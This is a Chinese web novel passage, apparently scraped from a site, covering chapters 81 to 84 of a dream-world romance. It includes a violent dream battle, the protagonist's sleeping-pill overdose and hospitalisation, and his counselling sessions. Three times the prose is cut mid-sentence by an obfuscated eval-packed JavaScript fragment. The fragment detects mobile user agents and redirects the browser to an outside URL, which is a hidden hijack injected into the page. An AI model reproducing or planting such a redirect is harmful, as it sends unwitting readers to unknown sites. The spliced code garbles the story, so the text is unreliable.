舟之覆满脸是血,不知道是自己的还是何为的。他跪坐在地上,何为就倒在他腿上,一动不动,他伸手去碰何为,但对方没有反应,于是他哑着嗓子喊了一声:“何为?” 也没有反应。他去探对方的鼻息,依然没有丝毫的反馈,舟之覆突然呼出一口浊气,用探鼻息的手去擦了下对方满是血的脸,释怀般露出一个浅笑。 看到这一幕,季山月终于反应过来了,他“唰”一下脸色惨白,四肢僵硬愣在原地,结结巴巴说:“我,我看到了啊,但是,但是他们之间有距离的,我,我错开距离了啊,我算了角度的!不可能,不可能打到他身上啊!” 时咎回过头看季山月,后者吓得直摆手:“真的!我,我绝对不想杀他!那个角度出去,只可能打到舟之覆!不会,绝对不会打到他身上的!” 时咎无法说出话,他不知道是不是该责怪季山月,后面站着的两个人脸色也一个比一个难看。 季山月慌了,他还想说他没有失误,但听到季水风叹气后,他辩解的声音变得无力起来,最后只变成了喃喃的:“对不起,我不是故意的。” “对不起,对不起!” 舟之覆微微抬手,在看到他的亡灵出现的一瞬间立刻收了回去。 还好,能力还在。 他只知道季山月的能力打到有能力的人身上会让人能力散尽,原来打到没有能力的人身上,会致死。 季山月疯狂朝着何为鞠躬:“对不起对不起我不是故意的,真的不是故意的!” 舟之覆知道他不是故意的,那旋风袭来的时候恰好可以擦着何为直击他,是何为自己跑过来的。 是他自己跑过来的。 舟之覆闭着眼,一遍一遍念着这句话。 季山月还在道歉:“对不起我不是故意的!不是故意的!!” 季水风忍不住出口制止:“好了山月。” 然而季山月像停不下来一般,一边鞠躬一边重复:“不是故意的,我不是故意的!” 舟之覆深呼吸了一口气,把何为从自己腿上放下来,让他平躺在地上,自己则缓慢伸了个懒腰,无所谓地活动了一下身体,立刻缩了回来。 很疼,虽然没有直面迎击到季山月的能力,但是冲击波还是让他的身体无法承受,这么想着,他猛咳一声,吐了一口血出来。 有时候还是不得不相信报应,他杀了那么多人,即使自己死无全尸也是情有可原。 舟之覆有一瞬间觉得还好死的是何为,不然他掌权者的梦想永远都实现不了了,下一秒他又觉得,为什么不能尝尝新的目标呢?比如交个朋友?那感觉好像还不赖。 无论怎么想,他眼前还是只有一条路,只能义无反顾走下去。 “对不起对不起!” “我不是故意的!” 舟之覆觉得疼,但即使疼,他还是扯出了一个慵懒无畏的笑容,眨眨眼,看着前方四个人。 缘悭命蹇,命运就是这样的。 罢了,他注定是为了一个目标至死方休的。 季山月大喊:“对不起!!” 时咎慢慢走到何为的尸体前蹲下,依然不可置信这发生的一切。 何为是个很好的朋友,善良又天真,不应该是这样的结局。 他抬头去看舟之覆,舟之覆却把头转开了,别开之后还嗤笑了一声说:“你看我做什么?又不是我杀的,问问你们的好兄弟啊。” 他的语气一贯的轻佻又随意,并不在乎这个为他挡下攻击的人。 时咎觉得很愤怒,却不知道这愤怒该针对舟之覆还是季山月。他伸手,去擦掉何为脸上血和灰尘胶着在一起的黏稠,最后帮他盖上眼睛。 “对不起!请原谅我!对不起!” 舟之覆吹了声口哨,嫌恶说:“差不多了,你们这些人的情感真让人恶心,虚伪,令人作呕。” 时咎抬头看他。 “轰——”低沉而微小的声音传来,好像地震了,地板微微的颤动,刚刚被打碎的墙又开始往下掉碎砖。 在场的人皆是神色一凛,又发生什么了? 沉皑首先反应过来,他看到时咎捏紧双拳,慢慢从何为面前站起来了。 他的情绪在流窜,梦境在扭曲。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187373|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如同当时在图书馆和季山月打架那次一样。 沉皑立刻快步冲到时咎旁边,焦急喊他:“时咎,冷静点!” “哇!我对不起你!!”季山月对这突如其来的震动一点反应也没有,还在道歉。季水风皱眉看了一下季山月,目光又瞥向时咎。 怎么回事? 时咎只觉得头晕目眩,有一种气血上头的感觉,周围轰鸣得快要坍塌了,紧接着他感到一双手紧紧扶住了自己两边的胳膊,将他强行转过去,他听到沉皑在喊他冷静点,于是他睁开眼,对上那双深蓝色、但此时无比焦虑的眼睛。 “时咎!”沉皑叫道,他微微屈身,平视着时咎。 只见时咎轻轻摇头,平复着自己的心情,哑声说:“没事,就是太生气了,有点晕,我可能要醒了,别担心,一会儿就回来找你。” 沉皑再三确认:“真的没事?” 时咎扯出一个笑容:“你在,我能有什么事?” 沉皑盯着他的眼睛,时咎也平静地看着,身边的灰不停往下掉,掉到他的肩头,擦着胳膊一路往下滚。 时咎动了动嘴唇,垂眼,目光瞥到毫无生气的何为,他吸了口气,无奈扯着嘴角笑出来了。 如果此时躺在这里的是他,而不是何为。 想到这,他突然说:“有件事我一直想告诉你。” 可能时机不太对,非常不合时宜,但他觉得与其等沉皑主动,不如自己主动,说不定,下一秒躺着的就是自己了。 季山月似乎也受打击不小,他的道歉声在楼体的颤抖里一直没消停过。 “对不起!!我不是故意的!!!” “我不是故意的!” “真的不是故意的!!!” 沉皑看着时咎,见周围的震动没有越演越烈,也算是松了口气,他表情柔和下来,伸手去摸时咎的头发,低声问他:“什么?” 时咎抬手,扯了下自己的脖环,笑道:“这东西,之前是不敢取,后来可以取的时候,我不想取了。” 沉皑的表情逐渐凝固,他屏住呼吸,好像连时咎接下来说什么都已经猜到了,所以只是不敢说话不敢出气,怕多做一点反应,时咎就会改变心意。 时咎开口:“我唔……” 下一秒,他的嘴被沉皑捂住了,沉皑往前走了一步,急促低声道:“我想先说。” “哇啊啊对不起你们!!我不是故意的啊!!”季山月的声音大吼,但那声音由远及近。 沉皑急切:“时咎,我……” 沉皑最终没说出口。 季山月的声音消失了,沉皑的话也全部被吞回去了。 时间像被活生生被撕出裂隙,没有人在呼吸,也没有心跳。 突然所有的声音全都消失了。 沉皑深蓝色的眼睛只是怔怔地盯着时咎,时咎也微微张着嘴,目光一动不动死死瞪着沉皑。 ——和如闪现般出现在沉皑身后的人。 时咎的嘴唇不自觉抖了一下,目光缓缓往下,接着便看到从沉皑胸口里刺出来的刀。 82. 第 82 章 那个声音很近很近,也很调皮,他笑嘻嘻了一下,说:“对不起,我刚刚没说完,嘿嘿,我是有意的。” 他毫不犹豫拔出刀。 沉皑的手死捏着时咎的肩,随后不可置信地转身。 旋风平地而起,时咎目眦欲裂:“不要!!!!!!!” 那道风从不远处升腾而起,直直朝他们冲过来。 时咎爆发出一声前所未有的惨叫,接着眼前一黑,他听到自己的心脏“咚”一声狂跳,瞬间坐了起来。 “啊——!!!” 他惊醒了。 他不能醒! 时咎脑子里如同断裂的丝线,此时一根也找不到头,他只觉得自己浑身冰凉发抖,抬眼看到的却是熟悉的场景——他的卧室。 为什么这个时候醒来?不能醒,绝对不能醒!他即刻重新闭上眼,但全身猛烈的颤抖和一阵阵的冷汗让他的脑子安静不下来,他睡不着,睡不着,完全睡不着,醒来前最后一幕如同末日的长剑,狠狠刺穿他的心脏,一下一下被刺得鲜血淋漓,刺得他的身体控制不住像抽筋一样震颤。 被子全被打湿了,他的双腿发抖从床上爬起来重新抽出一床被子便狂奔到了客厅沙发上,但猛烈的心率让他连安静都做不到。 让他睡着,让他睡着,拜托了,拜托了!他一直念着,默念间,他想起什么,瞬间跳起来跑回卧室跪在床头柜前拉开抽屉,手胡乱在里面乱捣一气,打翻了摆放整齐的瓶瓶罐罐。 褪黑素,褪黑素呢?全部吃掉就能睡着! 时咎也没看清楚自己吃了几颗,手颤颤巍巍的把药全部送进嘴里,连水也没有倒直接生吞。肯定是超量了,但是他没细数,只要能睡着,睡几天都好。 怎么会这样,到底哪里出了问题? 沉皑,沉皑,不要有事! 他越急,他越念,越是无法安然睡过去,在沙发也被全部打湿后,时咎暴怒着跳起来大吼一声。 “啊啊啊啊啊啊——!!!” 他伸手将面前的茶几砸了粉碎。 风停了,一切都归于安静。四溅的灰尘平息,破碎的窗户玻璃彻底从楼上掉下去,在不远处的地面发出清脆碎裂的声音。 “啪——” 风卷残雪,寂静无声。 仓库里,季山月堪堪收回手,歪着头不理解地发出了一声:“咦?” “扑通”一声,季水风的身体直直滑落,倒在地上。 沉皑的手在抖,这一切都在他眼前发生了——被季山月背刺一刀,时咎瞬间消失,季山月的旋风袭来冲向他,季水风的怒吼和她狂奔过来挡在身前的身影。 随后季水风如一片纸一样倒下来。他顾不上胸口剧烈的疼痛,往前踉跄了两步跪下将季水风抱起来,眼睛里全是红血丝,他抬头看向季山月,嘴唇微微轻碰,他问:“为什么?” 季山月挠头,四处看了一眼,目光对上身后舟之覆的,又嫌弃地转回头来,说:“什么为什么?奇怪了,时咎呢?瞬移走了?” 他到处张望,好像确定时咎消失了,深深叹了口气说:“对不起啊打断你们说话了,不过这不正好?你看,这就是大难临头各自飞呀!算啦算啦!”他自顾自地摆手,顺势就在沉皑面前蹲下,目光从他的脸一直扫到季水风身上。 一个没有能力的人。有点忘记他刚刚捅到哪了,不过看样子肯定捅歪了没刺穿到心脏,原本想一下解决算了,怎么季水风还窜出来了? 季山月“哎呀”了一句,看着季水风的脸和她紧闭的双眼,喃喃道:“不死,不死,你撞上来,以后可就不会不死咯?” 沉皑朝他怒吼了一句:“季山月!”用力过猛,扯着伤口剧烈的疼痛。 季水风在他怀里一动不动,毫无知觉,沉皑狠狠说:“季山月!她是你姐!” 季山月发出“嘁”的声音,漫不经心站起来,随意踱步两下,说:“那又怎样?我姐啊。”他指了指地上的季水风,“死了。” 在沉皑无比震颤的眼神里,他脚步一转,转到了舟之覆的方向,看着那满脸狼狈的样子,万分嫌弃道:“你好弱啊!” 舟之覆对他翻了个白眼,并不打算跟他说话。 于是季山月只能悻悻转回来,垂眼看地上满身是灰尘的两个人,还有他们身下逐渐扩散的血,说:“奇了怪,虚疑病的毒株,我还是从起源实验室放起的,怎么你一直没被感染?算了,今天先把你埋了吧。” 季山月朝沉皑笑,下一秒便收敛起笑容朝他冲了过来。 沉皑放下季水风,在季山月靠近的一瞬间翻身便闪了出去。 “轰!”原地被季山月一拳砸了个坑。 沉皑抬手用袖角抹掉脸上的血,心思迅速流转,咬牙道:“毒株是你偷的?” “是啊,不然谁有那个能力呢?”季山月回答得很随意,毫不掩饰自己的作为,好像只是随手拿了什么属于自己的东西。刚回答完他又一个回旋踢狠狠砸在沉皑刚刚站的位置。 稳稳落在旁边的沉皑斜眼看了一下那个坑,嘴角勾起又放下,很快从不可置信的情绪里挣脱,换上敌对的心态,他冷冷说:“没长进的东西。” 话音未落,季山月已经直逼眼前,沉皑向后翻,飞跃而起,落地的一瞬间攻击重重砸在地面上,这水泥地当场碎出无数石子散射向四周。 季山月翻了好几个滚才停下,他思索了一下,觉得眼前的人没有想象中好对付,肉搏还真不一定谁能压制谁,得认真一点。思考间,沉皑已经出现在他脸上,速度快得他连躲都躲不完整,一拳便死死锤在了他身上,当场一口血吐出来。 这得是他十成的力道了吧。季山月晃悠悠站起来,目光一点也没有离开沉皑。 忽然间,他闪身飞跃,如同飓风一样朝沉皑冲过去,不足半秒,拳头出现在沉皑眼前不到一个拳头的位置,然而这一拳被沉皑接住,接着冲过来的力,沉皑让出一个身位闪到身后顺势抬腿便将他一脚踩了下去。 “轰——”又是一声剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187374|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈爆破声,地上被砸了一个人形坑,这次季山月一瞬也没有犹豫,五指立刻扣入地面,双手肌肉爆出,整个人弹起来就背对着沉皑的姿势后扫腿出去,刚好整条腿的力量踢在沉皑刚刚被他捅过的胸口间,沉皑被直直撞飞到另一面墙上,发出巨大的闷响。 “咳咳。”沉皑猛地咳了几声,感觉到伤口的血又是一股流出,这个伤口在耗费他的生命,即使实力与季山月不相上下,甚至有制服他的可能,也会被这个伤口拖到死。 但季山月不给他缓冲的机会,见到沉皑一丝丝的停顿便即刻冲了上来要置他于死地。 两个人打得胶着,招招不留情,拳拳下死手,尘土飞扬,碎石迸溅,但谁也无法完全克制住对方。 舟之覆就坐着,他觉得只要这两个人只要不打到他,他就可以一直坐着看完,要是牵连到他,他就死呗。之前感觉季山月该和他一个阵营,但是看他当时杀凌超建,刚刚企图杀掉自己的行为,估计也是更倾向于独善其身的,也是,他这么强,根本不需要同伴,不过……也挺奇怪的,当时在言威办公室见到的他,和此时此刻的他感觉是同一个人,而平时和季水风沉皑走在一起的季山月感觉是另一个人,一个完全不露破绽的人,如果不是他演得太完美,就是人格分裂。 舟之覆想,这种程度的表现,正常人能演出来吗?恐怕是人格分裂,两个人格各不互通。 那现在,自己既不是季山月的同伴,也不可能是沉皑的同伴,观众的角色最合适了,他就喜欢坐山观虎斗,最后收渔翁之利。恍然间,舟之覆的目光突然又瞟到何为,他抬脚拿鞋底去戳了一下,发现何为的身体已经在僵硬了。无奈苦笑出来。 他想,好可怜啊。 另一边的两个人打得整个仓库快要没一块好地方,在沉皑使出十成力将闪躲不及的季山月踹出去的时候,自己也眼前一黑单膝跪下来。 他剧烈地喘着气,汗水混着血一滴一滴往下掉,看东西已经开始模糊了,反应应该也会逐渐变慢,如果无法在几分钟之内迅速解决掉季山月,就一定会被他解决掉。 他还不能死。 如果季山月依然以那样的势头对他发起进攻,他可能不得不调动自己的能力,让磁场帮他解决一部分麻烦,但这样就会被人知道他其实有能力的事,这个人是别人还好,但是对方是季山月,他依然是一点优势都没有,兴许反而会加速死亡。 季山月艰难从地上爬起来,一瘸一拐,他一咧开嘴,嘴里的血就不受控溢出来。 “你好强啊,怎么那么能打呢?我都没办法直接杀你呢。”季山月说,但从他嘴里说出来,分不清这是好事还是坏事。 季山月踉踉跄跄往前走了几步,笑说:“不过你也差不多了吧,我可比你少一个窟窿!”在说最后两个字的时候,他已经一跃而起,朝着沉皑就砸下来。 好快!沉皑咬牙,刚做好了无论如何也会吃到一部分攻击的准备时,一个身影拦在了他眼前。 “不许打架!!!” 83. 第 83 章 季山月没收住拳头,他也不想收,所以这一拳直直打出去,却又紧急收回来的时候,自己都懵了。 本来该砸在沉皑身上的力度因为自己强行收回而反攻击一部分到自己身上了。 “噗!”季山月一口血喷出来。 言不恩张着双手挡在沉皑面前,她头上还缠着绷带,因为养伤加不怎么吃饭已经瘦了很大一圈,小小的身体就这么横挡在两个人中间。 沉皑皱眉,刚想说话却被血呛进气管,他猛地咳出来。 言不恩的表情很倔强,她回头瞪了一眼沉皑,又去瞪季山月。 季山月撇嘴,不理解这个小孩,他说:“你在找什么?” “找死吗?” 话音未落,他便抬手要去打言不恩,沉皑反应很快,立刻往前冲了一步抱着言不恩就滚到一边,然而这样的动作让他的伤口又撕裂更大,他躺在地上一直倒抽冷气。 见季山月真的攻击她,言不恩特别生气,她挣脱开沉皑就跑到季山月面前,抬腿踢了他一脚:“你怎么这样啊?” 季山月:“……” 季山月:“嘿嘿。” 笑还没笑完,他一巴掌就抡过去,然而这巴掌抡到一半,他的手再也往前动不了分毫。 季山月脸色瞬间变了。 怎么回事? 他努力想去打死这个小孩,但是他的身体每当要碰到言不恩,便自己停下来了。 他的身体不想攻击言不恩! 季山月恼羞成怒转头再次去攻击沉皑,只听言不恩大喊了一声:“不许!!” 但季山月哪能停下来,他狂笑着冲往沉皑,身影倒映在深蓝色瞳孔里,越来越近。 忽然,一道屏障凭空起。 那道屏障起初只是一个小球,但下一瞬便膨胀成了巨大的透明球体,将季山月和舟之覆一起包裹在里面,季山月那一拳冲下去,却是像打到了软绵绵的云上,周围一切都丝毫没有反应。 “我靠这是什么!”季山月迅速往外跑,但跑到某个地方,似乎就遇到什么看不见的障碍,一下将他弹了回来,不仅如此,他发现外面的人消失了,明明刚刚还倒在那里的沉皑和季水风,全部消失了。 在外面的人看来也是一样,沉皑听到季山月的怒吼,但是当他支撑着自己的身体坐起来的时候,发现无论是季山月还是舟之覆,甚至何为的尸体,都完全消失了。 沉皑立刻爬起来去看季水风,发现她的呼吸非常微弱,他没有多问一句,直接将她打横抱起来,强忍着浑身的伤走出了仓库。 言不恩在后面愣愣地站着。 沉皑不想问她太多话,走了两步,在言不恩看不见的地方淡淡说了一句:“言不恩,过来。” 于是她立刻跑出去,出门转角看到沉皑和季水风的一瞬间嚎啕大哭起来。 医院。 女人焦急地在手术室前打转,一秒也无法停下,直到手术室门打开,她立刻冲过去。 “医生!” 医生拦住了她,对她说:“没事没事,只是洗胃,已经没事了。” “阿姨,别急。”唐廷璇过去扶住她。 只是想不明白,时咎平时都好好的,心态很好,也小有成就,没有任何征兆可能会做这种事,但当唐廷璇打了一百个电话都联系不到他的时候,就觉得有点不太对了,好在平时关系好,还有备用钥匙,一进门,被撒了一地的安眠药吓死了。 躺在病床上的时咎并不知道自己在哪,他感觉自己应该是睡着了,但是并没有如同他预料的那样立刻回到沉皑身边,而是在一个隧道里,等他反应过来,他才发现又是那个隧道,又是那辆列车,那辆黄粱一梦上。 窗外是黑色,被空间扭曲成了一条一条弯曲的轮廓,车厢内昏黄的灯光摇摇晃晃。 时咎一直站在车门口焦急等待,他已经睡着了,再一会儿,也许再一会儿就到站了,他就可以见到沉皑,也许是在办公室里,也许是在他家里,就算是在那个仓库里也行,只要能见到他,只要他没事。 时咎双手颤抖着,一直在祈祷,一直在默念。 最不济,时光倒流,回到他们最开始遇到的时候,他走出去,被拿枪指着也好,开枪也好,昏迷都可以,被忘记也行,怎么都可以,只要不是他醒来前最后一幕的结局。 想到那,时咎的全身都开始抖起来。 他没有办法不去想那一幕,明明沉皑正对着他,还在看着他,他还能从那双蓝色眼睛里看到自己的倒影。什么原因他也不想追问了,他只想沉皑没事,但此时此刻的情况他全然不知。 煎熬,未知的煎熬如同火焰灼烧,比火焰还让他痛苦万倍。 他还有话没说,他不该装不知道,不该装无所谓,不该等,现在后悔了,他早该说。 在不久的将来,列车若开门,他第一句话就要把自己藏了很久的心事告诉他,让他也同样放下心。 但这黄粱一梦,就真的如它的名字一般,变成了黄粱一梦。永恒的行进,没有终点,也到不了那个地方,任凭他焦灼,他怒吼,他绝望。 光从头顶上方照射过来,白色的灯,好像不在列车上了。 时咎突然睁开眼,浑身一抖,不自觉惊叫一声,吓到在旁边沙发上玩手机的唐廷璇。 “我的妈你醒了!”唐廷璇立刻扑了过来。 时咎张了张嘴,立刻咳嗽起来,觉得浑身不舒服。 唐廷璇吓得不停轻轻拍他的背,等到他终于缓过来,也松了口气:“妈呀你醒了就好,吓死我了,你干嘛啊!感觉怎么样啊?还好就睡了一天多,你再多睡两天我真的要把你打醒。” 他连终点都没到,就从列车上下来了。 时咎觉得全身无力,让脑海里的波澜慢慢平息,身体的不受控也渐渐稳定后,他缓慢坐起来,看到手上还打了留置针。 唐廷璇着急地问:“咋了呀你这是?不声不响干大事,有什么不可以跟我说吗?” 时咎望着这片煞白与陌生,耳边机器的声音有规律行进,反应了半天才想明白,估计是被误会成要轻生了。他摇摇头,看唐廷璇把病床摇起来了些,用舌头舔了下干裂皮的嘴唇,沙哑着声音说:“我不是想死,只是想睡觉,吃多了。” 唐廷璇震惊,跑过来与时咎对视:“啊?不是,大哥!你,你,你听听这是人话吗?” 时咎微微皱眉,转头看了眼窗外,还是白天,于是他转过头就问:“这里离文明中心多远?” 唐廷璇瞳孔地震:“啊?” 时咎:“……啊。” 时咎抬手拍了下脑子,淡淡笑了下,说:“抱歉,还有点不清醒。” 唐廷璇麻木道:“我看也是。” 几乎在梦里发生的事唐廷璇知道一大半,时咎经常醒来会把她当备忘录一样记录梦境,只是太多了,有时候唐廷璇不会回,看着时咎这个样子,心里也大概猜到。 她担心问:“梦里发生什么了吗?” 时咎轻轻点头,身体不太舒服,嗓子也不舒服,这些事说来话长,便长话短说了几句。 听完的唐廷璇一下就坐在床边,一只手用力拍在被子上,无声说:“卧槽!” 她眼神复杂,但身为旁观者让她比时咎清醒不少,她说:“你先冷静,别再做出这种举动,你要是真有个三长两短,可能他们安然无恙,你先出问题了。” 时咎痛苦闭眼,说:“我知道,我知道,我只是……很担心他。” 唐廷璇疯狂点头,用尽量平和的语言说:“我懂,你很爱他,他不会有事的。” 时咎的父母赶过来的时候,时咎已经休息好,并且下床绕了好几圈了。他心里一直想着如何才能回去,但虚弱的身体让他无法再过激地做出反应。也许是又过了好几天,没有当下那么惊慌了,他觉得自己做的行为也有点蠢,那么大把大把地吃药,万一真出事了怎么办?他的本意又不是真的要轻生,他怎么知道人死后会永远坠入梦里,还是再没有任何意识。 何况昏迷这么久,他还是没能进入梦里,足以说明,他需要冷静。 时咎简单向他父母说明了一下情况,表示自己毫无傻念头,就是睡不着、失眠到一下失去理智了。 他俩才同时放下心来。 时咎没什么问题直接出院了,走的时候被再三叮嘱要合理饮食、充足休息、一段时间后来复查。 原本车是朝着时咎的独居小屋去的,但是时咎一直坐在后座一言不发,默默望着窗外,望着这个无比熟悉的世界,眼里一点光也没有,他的思绪飘太远了,飘到一个在这个现实里不存在的世界去了,甚至路过某家店,它招牌的配色用了深蓝色,他也会格外多看几秒。 心痛和忧虑,无以复加。 在红绿灯该左转的十字路口,车临时开往了右边。等时咎反应过来的时候,他们已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187375|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经快到大学城了。 时咎诧异地看着车停在路边,疑惑问道:“来这里做什么?” 男人下车,把他也赶下来,拍了拍他的肩说:“今天李老师在,你跟他聊聊吧。” 时咎张嘴想说什么,最后默默跟着去了。 两位心理学的教授,恐怕是从见到他那一刻起就知道他沉重的心事了。他叹气,心想,就当放松吧。 时咎成了一位临时来访者,他坐在咨询室的时候,李老师也刚刚进来,李老师是学校一位男性心理学教授,一直在负责学生的心理咨询工作。 墙上的画是无边的大海,海是蓝色的,海也是蓝色的啊,到处都是蓝色的,到处都是他。 时咎病恹恹坐在沙发上,李老师就坐在他对面,对他说:“刚刚你父亲跟我说了一下你的情况,你有什么想跟我分享的吗?” 接着,他指了指窗帘,又问:“窗帘要给你拉上吗?” 时咎摇头。 咨询室里便陷入沉默。虽然是大学的咨询室,但是离教学区还是有一些距离,所以能听到学生的吵闹声非常有限。 时咎不知道说什么,只是坐着,李老师也不催他。 半晌,李老师从书柜里拿了一本书出来,他说:“你父亲现在有一节课,我记得是90分钟,咱们就把咨询时间定到90分钟,这段时间完全属于你,除了离开,你想做什么都可以,这边书柜里有书,那儿有茶你可以随便倒,另外……” 他从抽屉里翻出一个蓝牙音箱放在书桌上:“你想放歌也可以连蓝牙音箱。如果你没有什么想说的,我就做点自己的事,你也放松,睡觉都可以,如果你想说了,随时叫我就好。” 时咎默默地吐出一个“嗯”。 他不知道要怎么跟别人解释这些东西,他要说他爱上了梦里的人,而那个人现在有危险吗? 于是时咎再次抬头看墙上的画。 那一瞬间,他忽然想明白了为什么沉皑藏那么多的话,却只言片语都没有向他透露过了。 他不禁露出一个苦笑。因为这是他的梦啊,冗长却破碎的梦,梦境,不真实的梦境。 在那做梦的人的梦中,被梦见的人醒了[10]。 时咎让自己深陷进了沙发里,最终无可奈何地叹气。 沉皑也很怕吧,当他清楚他自己的心意时,却一遍遍想着,这是对方的梦,梦外还有他真实的生活,虽然对于他自己来说是无比真实的一生,但是面对喜欢的人,他无法那么洒脱地重复出这句话,他会觉得自己参与不了对方真实的人生而退缩,却又在对方一次次表明梦也是真实体验的时候,尝试往前走一步。 永远的进退维谷,永远在左枝右梧,永远在试探、永远在尝试、永远在和自己做心理斗争!而自己只是想,他怎么还没反应?都表现那么明显了,他什么时候开口? 为什么要等呢?等到这样的境地,明明鼓起勇气,一句话就好了,他不说,可以自己来,不是最擅长这种事吗? 一个半小时,时咎一句话没说,到点之后,李老师便站起来对他说:“好了今天的咨询结束了,你现在可以自由离开,或者继续留下休息。” 时咎站起来对他说了一句谢谢。 他自己接触过不少心理咨询的案例分析,知道会有什么结果,也知道自己现在这样的原因,只是这个原因不是现实中可以解决的,让他从心理上解决他也一时做不到,所以并不想以这样的方式说出来。 熙来攘往的人,有的三两成群,有的孤独地走,去往未来或是曾经,这些陌生的面孔心里,都有说不清道不明的心事吧,他们的情绪从何而来,去向哪里? 时咎站在街边,一下突然不知道要做什么,耳边的嘈杂早就不是嘈杂,是无端的轰鸣。 得不到缓解的情绪来得很浓烈。情绪……什么情绪? 他突然抬头,却看到无法相信的一幕——彩色的光在包围他。如液体一样的流动,就在半空中,五彩的光。他立刻转头去看别处,这川流不息的人群是照样的走,没人注意他,没人看到这里的异样。 这是什么? 时咎伸手去碰那些光,但就在指尖触碰到的一刹那,他感觉到了无数情绪无数声音奔腾而来,生老病死、怨憎会、爱离别,求而不得,五阴炽盛;同时,欢呼雀跃、功成名就、重逢的欣喜与心愿达成。 人所有的情绪,人类所有的悲欢离合。 84. 第 84 章 或许是因为一整个咨询一言不发,他的父母重新联系上的时候询问了一下原因,但他依然是缄口,于是他又被接到了父母家里。 父亲做了很多清淡的菜肴,但几个人吃饭的时候都是一言不发,旁边两个人一直在对眼神,最后确认点头:肯定是抑郁了。 “小久啊。”他的母亲叫道,“要是最近心情不好,一个人住着无聊,也可以回来住,我们上课你要是愿意,就一起去听课。” 时咎点头,拿筷子的手有一下没一下,但他突然一顿,开口道:“前段时间做了一个梦,我和几个朋友在火车上,我就坐在驾驶员身后的位置,但火车开在马路上而不是铁轨上,本来我们很开心要去旅游还是什么,突然发现太阳周围出现了彩虹,圆形的,围绕着太阳,很好看,我就拿手机拍照,结果拍着拍着,太阳突然爆炸了,它炸开的时候,地面上的楼也跟着起火,天上开始掉建筑的碎片,驾驶员开车很稳在带我们逃命,后来又有一个魔头突然在我们的火车上杀人。” 这不是他的梦,只是这两天脑子里一直在出现这个画面。 女人笑道:“那你自己觉得是为什么?” 时咎沉默几秒,说:“我不知道。” 他怎么可能不知道,女人不着急,她慢慢问:“你和这几个朋友什么关系?” 时咎说:“关系很好的朋友吧,好像一直约定了要去哪儿玩,现在终于可以出发了。” 女人接着问:“那你觉得一般坐在驾驶员后面那个位置是什么感觉?驾驶员也是朋友?” 时咎想了想,答道:“嗯,坐他后面,安全吧。” 他的父亲给他夹了一块素肉,提醒他多吃几口,女人又问:“那个魔头给你什么感觉?” “给我……”时咎顿了一下,他依然无时无刻不在回想醒来前的画面,如同梦魇一样挥之不去,他看着沉皑,也看着他背后的季山月,到现在都想不明白一切到底是怎么开始发生的。 他说:“给我一种无法理解的感觉,我不知道为什么会突然在火车上杀人。” 沉默的时间里,只有碗筷碰撞的声音。片刻,他的父亲漫不经心地说:“世界上有很多地方都只存在在心里,不可言说,但不可言说不代表是错的,存在在你的精神世界,对你来说就是真实的。有的灾难是自己造成的,有的则是别人,重要的是前后还有朋友,你们在一起经历的这件事,给你什么样的感觉,给你带来什么体验。” 他的母亲笑道:“火车在马路上,彩虹绕着太阳,你自己的意象,自己可以分析出来吧?” 他没有明说,但时咎知道他的父母一定听得懂他说的梦。 他的父亲又接了一句:“实在难受就接受心理医生的干预,或者如果你愿意,跟我们说也行。” 时咎:“好。” 他失眠失得很彻底,要么是整晚睡不着,要么就是睡过去什么都梦不到,但更多的情况是在黄粱一梦那辆列车里,如同迷宫一样跌跌撞撞找不到出口。 在一次又一次从那辆列车上醒来后,时咎的情绪一点点由焦急变成平静再变成麻木,他给自己做了最坏的设想:沉皑不在了。因为他每次入梦都会出现在沉皑附近,曾经每次从列车下去,都是沉皑附近,但这辆长久运行的列车再没有停下过,他能想到的解释只有:现实与梦的锚点消失了。 他无法接受,便屏蔽了这件事。 压抑,一再的压抑,压抑到他身体迅速糟糕,体重下降,不想吃东西,对其他也提不起兴趣。 其实他自己也没想过会这样,他不知道自己会有这样的反应,二十多年的学习和稳定的情绪,对知识的运用让他有些自信,他从来没觉得自己的心态会出什么大问题。 最终时咎还是找李老师寻求帮助了。 大学的心理咨询室里,时咎坐在沙发上。整个咨询室都被布置得很温馨,暖黄色软装给人一种放松的感觉,桌上点了熏香,那味道很淡很淡,窗外阳光还是明媚的阳光,偶尔能听到学生路过的笑声,但最明显的还是时钟“嘀嗒”。 时咎上一次没注意,因为钟被摆在了靠放沙发这面墙上,那恒定的节奏就从头上传来。 李老师也很随意地坐在对面,对他说:“小久……啊,不好意思,你的母亲一直跟我这么称呼你,介意我也这么叫你吗?” 时咎把沙发上的枕头拿过来抱着,微微摇头。 李老师:“好的,那么小久,你今天感觉怎么样?” 